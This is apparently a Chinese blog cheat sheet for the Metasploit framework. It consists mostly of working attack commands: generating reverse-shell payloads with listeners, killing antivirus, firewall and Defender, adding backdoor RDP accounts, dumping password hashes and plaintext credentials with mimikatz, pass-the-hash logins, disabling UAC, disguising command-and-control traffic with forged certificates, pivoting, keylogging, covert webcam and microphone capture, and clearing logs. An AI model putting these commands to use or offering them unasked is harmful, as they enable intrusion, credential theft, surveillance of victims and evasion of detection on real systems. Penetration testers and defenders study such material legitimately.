MSF使用总结

安装

curl https://raw.githubusercontent.com/rapid7/metasploit- omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

获取shell

# 生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=服务器IP LPORT=服务器监听端口 -f exe -o test.exe

# kali监听,等待连接
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

模块化

  • exploits 漏洞利用模块,这个模块通常是用于对某些有可能存在漏洞的目标进行漏洞利用。
  • payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹代码,可以是添加用户的代码。
  • auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测、暴力破解。
  • post 后渗透模块,该模块一般用于内网渗透。
  • encoders 编码器模块,对payload进行编码加密,可绕过部分杀软软件。
  • evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软的,免杀效果很一般。
  • nops 空指令模块,为了避免攻击载荷在执行的过程中出现随机地址错误而在执行shellcode之前加入一些空指令,使得在执行shellcode时有一个较大的安全着陆区。

msfconsole使用

在这里插入图片描述

基础命令

加载模块
use name

查看网络配置
ifconfig

获取进程列表
ps

查看所有exploit
show exploits

查看所有payload
show payloads

查看所有auxiliary
show auxiliary

展示模块详细信息
info

查找模块
search name

查看当前运行的模块
jobs

重启目标机器
reboot

关闭目标机器
shutdown

获取交互shell
shell

当前meterpreter到后台
background

离开msf
quit

信息搜集

pwd	# 查看当前目录
getwd
sysinfo	#主机信息
idletime	# 目标机器闲置时间
getproxy	# 代理信息
run checkvm	# 是否为虚拟机
run post/windows/gather/checkvm
run post/windows/gather/enum_applications	# 获取主机安装软件、补丁
run post/multi/gather/env	# 获取目标主机环境变量
run post/windows/gather/enum_ie	# 获取ie缓存
run post/windows/gather/enum_chrome	# 获取Chrome缓存

防火墙、杀软

参考:https://www.cnblogs.com/3ichae1/p/13046760.html

查看防火墙状态
run getcountermeasure

关闭防火墙
run killav
netsh advfirewall set allprofiles state off   ##(管理员以及以上权限)

# 关闭Denfender
net stop windefend
# 关闭DEP,数据执行保护
bcdedit.exe /set {current} nx AlwaysOff
# 关闭杀毒软件
run killav
run post/windows/manage/killava


# 开启远程桌面
run post/windows/manage/enable_rdp
# 关闭远程桌面,上一步会生成一个文件,该文件可用来再关闭远程桌面
run multi_console_command -r 文件地址
# 开启远程桌面并添加一个新用户backdoor
run getgui -u backdoor -p backdoor
run post/windows/manage/enable_rdp username=admin password=123456
# 开启远程桌面并绑定在8888端口
run getgui -e -f 8888
run post/windows/manage/enable_rdp forward=true lport=8888
# 登录远程桌面
rdesktop -u username -p passwd 192.168.1.1


# 桌面截图
screengrab
或者
load espia
screengrab

密码抓取

参考PassingTheHash
在这里插入图片描述

抓取自动登录的密码

run windows/gather/credentials/windows_autologin  // 很多用户习惯将计算机设置自动登录,可以使用

导出密码哈希

hashdump 	//hashdump 模块可以从SAM数据库中导出本地用户账号
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump	

输出格式为: 用户名:SID:LM哈希:NTLM哈希:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:b3ec3e03e2a202cbd54fd104b8504fef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
qaq:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:90ce5f791d1174470eaf43c7374fb533:::

注:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0为空密码

上传mimikatz程序

execute  -i  -f  mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

加载kiwi模块

load kiwi
help kiwi
creds_all	#该命令可以列举系统中的明文密码
kiwi_cmd	#使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd sekurlsa::searchPasswords

参数解释

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

使用hash进行登录(好像只能是administrator)

参考msf使用hash登陆windows

use exploit/windows/smb/psexec
set SMBuser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b3ec3e03e2a202cbd54fd104b8504fef
set rhost 192.168.170.131
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

如果有报错

[-] 192.168.48.144:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)

原因:较新的Windows系统默认情况下是不允许共享服务不允许远程访问

解决:将注册表中LocalAccountTokenFilterPolicy的值更改为1,参考内网横向移动之LocalAccountTokenFilterPolicy,或者关闭uac

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f	#添加
或
reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG DWORD /d 0 /f
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

端口扫描、主机发现、版本扫描

ACK             通过ACK扫描的方式对防火墙上未屏蔽的端口进行探测
ftpbounce       通过FTPbounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能够很好的防范FTPbounce攻击,但在一些旧的Solaris及FreeBSD系统的FTP服务中此类工具方法仍能够被利用
syn             使用发送TCP SYN标志的方式探测开放的端口
tcp             通过一次完整的TCP连接来判断端口是否开放,这种扫描方式最准确,但扫描速度较慢
xmas            一种更为隐秘的扫描方式,通过发送FIN,PSH,和URG标志,能够躲避一些高级的TCP标记检测器的过滤

TCP端⼝扫描            auxiliary/scanner/portscan/tcp 
ACK防⽕墙扫描          auxiliary/scanner/portscan/ack
FTP跳端⼝扫描          auxiliary/scanner/portscan/ftpbounce 
SYN端⼝扫描            auxiliary/scanner/portscan/syn
TCP-XMas端⼝扫描       auxiliary/scanner/portscan/xmas

经过测试,Windows防火墙开启,使⽤ACK是扫描不出来的!

使用arp发现主机

run post/windows/gather/arp_scanner rhost=192.168.1.0/24

扫描tcp端口

search portsacn
use 5 	# 选择tcp的
set rhost 192.168.1.1/24
set ports 80,8080,8888,3389,22,23
set threads 10
exploit

探测对方操作系统信息:use auxiliary/scanner/smb/smb_version
在这里插入图片描述

可以看到,操作系统是Windows 7,主机名是:LIUWX-PC,不在域内!

端口转发

portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码

小技巧(多主机扫描)

设置扫描目标为一个文件

set rhosts file:/root/ips.txt

在这里插入图片描述
这样的话就会非常⽅便!

进程迁移

手动迁移migrate

migrate 2228 或 migrate -P 2228 //迁移到指定pid号
migrate -N explorer.exe  // 迁移到指定进程

自动迁移

set autorunscript migrate -N explorer.exe
或
set autorunscript -f

第一个是指定迁移到哪个进程,第二个默认迁移到notepad

流量加密

可以参考:红队 | 流量加密:使用OpenSSL进行远控流量加密

Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。下面开始演示如何对 Metasploit 进行流量加密。

生成证书

# 使用 OpenSSL 创建 SSL/TLS 证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

# Metasploit框架impersonate_ssl模块,自动从信任源创建一个虚假证书
use auxiliary/gather/impersonate_ssl 
set RHOST www.google.com
run

在这里插入图片描述
msfvenom 生成带证书的马

# windows
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.43.239 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=herbert -f exe -o shell.exe
# linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.239 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=herbert -f elf -o google.elf
# 参数
    HandlerSSLCert:向处理程序通知所使用的PEM证书。
    StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
    PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。
    
# 也可以生成 shellcode 自行编译:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.43.239 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=google -f c

开启监听

# windows
use exploit/multi/handler 
set payload windows/meterpreter/reverse_winhttps
set lhost 0.0.0.0
set lport 4444
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true 
set IgnoreUnknowPayloads true
set exitonsession false
exploit

# linux
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set HandlerSSLCert www.google.com.pem
set StagerVerifySSLCert true 
set IgnoreUnknowPayloads true
exploit

# 参数
	HANDLERSSLCERT选项中设置PEM格式证书的路径来告知有效负载处理程序将使用的证书,
	stagerverifysslcert设置为true来启用对该证书的检查,
	IgnoreUnknownPayloads接受白名单的payload。

添加路由

网段查询

meterpreter > run get_local_subnets
meterpreter > ipconfig
# 在全局给指定的session增删路由
route add 192.168.11.0  255.255.255.0  1     #在session1中添加到达192.168.11.0网段的路由
route del 192.168.12.0  255.255.255.0  2     #在session2中删除到达192.168.12.0网段的路由
route print    								 #打印路由信息

#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24             #添加路由
run autoroute -d -s 192.168.11.0/24			 #删除路由
run autoroute -p                             #打印路由信息

注意:在实际的内网渗透中,我们可以直接添加到 0.0.0.0/0 的路由。这样,只要该被控主机可达的地址就都可达!

设置Socks代理

搭建Socks4a代理

use auxiliary/server/socks4a
set SRVHOST  0.0.0.0
set SRVPORT  1080
run
search socks
use auxiliary/server/socks_proxy
set version 4a
exploit

搭建Socks5代理

use auxiliary/server/socks5
set SRVHOST  0.0.0.0
set SRVPORT  1080
set USERNAME root
set PASSWORD password
run

连接代理

首先修改/etc/proxychains.conf文件

# 修改配置文件
vim /etc/proxychains4.conf
#在最后修改
socks4 0.0.0.0 1080
socks5 0.0.0.0 1080 root password

然后执行命令前加上 proxychains命令

# 使用代理启动火狐
proxychains firefox

擦屁股、清痕迹

删除添加的账号
net user 用户名 /del

删除日志
clearev

关闭所有session连接
session -K

事件日志

其他

cmdshell 升级
sessions -u 会话id

linux保存的ssh身份验证信息
run post/multi/gather/ssh_creds

# 用户操作:Stdapi: User interface Commands(用户接口命令)
enumdesktops    -->列出所有可访问的桌面和窗口站(窗体列表)
getdesktop      -->得到当前的Meterpreter桌面
idletime        -->返回秒远程用户已经闲置数量
keyscan_start   -->开始捕获击键(开始键盘记录)
keyscan_dump    -->转储按键缓冲(下载键盘记录)
keyscan_stop    -->停止捕获击键(停止键盘记录)

# PS:键盘记录注意点,先开始,后下载,再结束,否则会出错
screenshot      -->抓取交互式桌面截图(当前操作界面截图一张)
setdesktop      -->改变meterpreters当前桌面
uictl           -->控制一些用户界面组件(获取键盘、鼠标控制权)
使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)

# 摄像头:Stdapi: Webcam Commands(摄像头命令)
record_mic       -->X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat      -->开始视频聊天(视频,对方会有弹窗)
webcam_list      -->单摄像头(查看摄像头列表)
webcam_snap      -->采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream    -->播放视频流从指定的摄像头(开启摄像头监控)

# 其他命令操作
getsystem        -->获取高权限
hashdump         -->获取当前用户hash
  • 1
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值